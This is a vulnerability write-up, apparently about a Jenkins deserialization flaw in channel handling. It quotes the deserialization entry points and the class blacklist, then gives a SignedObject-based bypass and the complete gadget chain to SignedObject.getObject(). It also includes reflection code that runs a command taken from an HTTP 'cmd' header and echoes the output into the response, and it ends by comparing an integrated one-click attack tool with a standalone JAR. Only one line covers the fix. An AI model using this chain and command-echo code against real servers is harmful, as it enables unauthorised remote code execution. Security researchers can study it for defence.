Channel Initialization and Deserialization Entry Point
The Channel class constructor invokes setup() to initialize the communication channel. Within this method, a background thread is spawned via new ReaderThread(receiver).start() to handle incoming data.
@Override
public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
new ReaderThread(receiver).start();
}
The ReaderThread.run() method continuously invokes read() on the ClassicCommandTransport instance as long as the channel remains open:
@Override
public void run() {
final String name = channel.getName();
try {
while (!channel.isInClosed()) {
Command cmd = null;
try {
cmd = read();
} catch (SocketTimeoutException ex) {
if (RDR_FAIL_ON_SOCKET_TIMEOUT) {
throw ex;
}
}
}
}
}
The ClassicCommandTransport.read() method calls Command.readFrom(), which performs readObject() on the input byte stream, creating the deserialization execution condition:
public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(channel, ois);
if (rawIn != null)
rawIn.clear();
return cmd;
} catch (RuntimeException e) {
throw diagnoseStreamCorruption(e);
}
}
static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {
Channel old = Channel.setCurrent(channel);
try {
return (Command) ois.readObject();
} finally {
Channel.setCurrent(old);
}
}
Exploitation Strategy
After understanding the vulnerability mechanism, the challenge becomes constructing a payload that bypasses Jenkins' serialization blacklist. While Jenkins includes org.apache.commons.collections dependencies, enabling Commons Collections chain attacks, the blacklist blocks direct CC chain deserialization.
Serialization Blacklist
During channel creation, ChannelBuilder.negotiate() returns makeTransport(), which instantiates ClassicCommandTransport. This constructor creates an ObjectInputStreamEx object that calls getClassFilter(), returning ClassFilter.DEFAULT with a predefined blocked class list:
private static final String[] DEFAULT_PATTERNS = {
"^bsh[.].*",
"^com[.]" + "google[.]" + "inject[.]" + ".*",
"^com[.]" + "mchange[.]" + "v2[.]" + "c3p0[.]" + ".*",
"^com[.]" + "sun[.]" + "jndi[.]" + ".*",
"^com[.]" + "sun[.]" + "corba[.]" + ".*",
"^com[.]" + "sun[.]" + "javafx[.]" + ".*",
"^com[.]" + "sun[.]" + "org[.]" + "apache[.]" + "regex[.]" + "internal[.]" + ".*",
"^java[.]" + "awt[.]" + ".*",
"^java[.]" + "rmi[.]" + ".*",
"^javax[.]" + "management[.]" + ".*",
"^javax[.]" + "naming[.]" + ".*",
"^javax[.]" + "script[.]" + ".*",
"^javax[.]" + "swing[.]" + ".*",
"^org[.]" + "apache[.]" + "commons[.]" + "beanutils[.]" + ".*",
"^org[.]" + "apache[.]" + "commons[.]" + "collections[.]" + "functors[.]" + ".*",
"^org[.]" + "apache[.]" + "myfaces[.]" + ".*",
"^org[.]" + "apache[.]" + "wicket[.]" + ".*",
".*org[.]" + "apache[.]" + "xalan.*",
"^org[.]" + "codehaus[.]" + "groovy[.]" + "runtime[.]" + ".*",
"^org[.]" + "hibernate[.]" + ".*",
"^org[.]" + "python[.]" + ".*",
"^org[.]" + "springframework..*",
"^sun[.]" + "rmi[.]" + ".*",
"^javax[.]" + "imageio[.]" + ".*",
"^java[.]" + "util[.]" + "ServiceLoader",
"^java[.]" + "net[.]" + "URLClassLoader"
};
Blacklist Bypass Technique
The blacklist blocks CC chain classes but not SignedObject. The SignedObject constructor accepts a Serializable object and serializes it into its content field. When getObject() is called, it deserializes content via readObject() without enforcing the blacklist restrictions. This allows embedding malicious serialized payloads within a SignedObject wrapper.
Exploitation Chain
When ReferenceMap is deserialized, its readObject() method is invoked automatically, which calls doReadObject(). This method reads key and value from the stream and calls put(), adding entries to the map.
private void doReadObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int size = in.readInt();
for (int i = 0; i < size; i++) {
Object key = in.readObject();
Object value = in.readObject();
put(key, value);
}
}
Within put(), isEqualKey() compares the two provided keys. When the key is a CopyOnWriteArraySet instance, it triggers the equals() method:
public boolean isEqualKey(Object key1, Object key2) {
if (key1 == key2) {
return true;
}
return key1.equals(key2);
}
The CopyOnWriteArraySet.equals() method delegates to eq(), comparing the wrapped ConcurrentSkipListSet with a ListOrderedSet argument:
public boolean equals(Object object) {
if (object == this)
return true;
if (!(object instanceof Set))
return false;
Set<?> set = (Set<?>) object;
return set.containsAll(this) && this.containsAll(set);
}
The ListOrderedSet's collection field is replaced with a JSONArray. When containsAll() is invoked, JSONArray.containsAll() processes the ConcurrentSkipListSet by iterating elements. For object elements, PropertyUtils.getProperty() retrieves property values via reflection, ultimately triggering SignedObject.getObject() and executing the embedded CC chain payload.
The complete call chain:
ReferenceMap.readObject()
-> ReferenceMap.put()
-> ReferenceMap.isEqualKey()
-> CopyOnWriteArraySet.equals()
-> CopyOnWriteArraySet.containsAll()
-> JSONArray.containsAll()
-> JSONArray._fromCollection()
-> JSONArray.addValue()
-> JSONArray.processValue()
-> JSONArray._processValue()
-> AbstractJSON._processValue()
-> JSONObject.fromObject()
-> JSONObject._fromBean()
-> JSONObject.defaultBeanProcessing()
-> PropertyUtils.getProperty()
-> PropertyUtilsBean.getProperty()
-> PropertyUtilsBean.getNestedProperty()
-> PropertyUtilsBean.getSimpleProperty()
-> PropertyUtilsBean.invokeMethod()
-> SignedObject.getObject()
SignedObject Class Mechanism
The SignedObject constructor accepts a Serializable object and serializes it into the content field. Its getObject() metthod deserializes content when invoked:
public SignedObject(Serializable object, Key key, Signature signer) {
this.signature = signer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
this.content = baos.toByteArray();
oos.close();
}
public Object getObject() throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(this.content);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
Official Fix
The official remediation added SignedObject to the blacklist pattern.
Command Execution and Response Echoing
Since the vulnerability utilizes channel creation, HTTP download and upload requests are routed through the channel. By leveraging reflection, we can extract the HTTP connection from the channel and use request headers to pass commands, executing them and writing results to the response.
Retrieve the underlyingOutput field from the channel object:
Field underlyingOutputField = channel.getClass().getDeclaredField("underlyingOutput");
underlyingOutputField.setAccessible(true);
Object underlyingOutput = underlyingOutputField.get(channel);
Object httpConnection;
The underlyingOutput object contains HTTP-related attributes in its _channel and this$0 fields. Extract these:
try {
Field channelField = underlyingOutput.getClass().getDeclaredField("_channel");
channelField.setAccessible(true);
httpConnection = channelField.get(underlyingOutput);
} catch (Exception e) {
Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
connectionField.setAccessible(true);
httpConnection = connectionField.get(underlyingOutput);
}
Once the HTTP connection is obtained, retrieve the command from the request header and execute it:
Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
String result = "\n" + exec(cmd);
outputStream.write(result.getBytes());
outputStream.flush();
Effectiveness Comparison
| Feature | Integrated Tool | Standalone JAR |
|---|---|---|
| Command Execution | Supported | Supported |
| Response Echoing | Supported | Not Supported |
| Workflow | One-click execution | Manual JAR generation and script execution |
| Dependencies | None required | Java and Python required |
| Usability | Simplified operation | Complex workflow |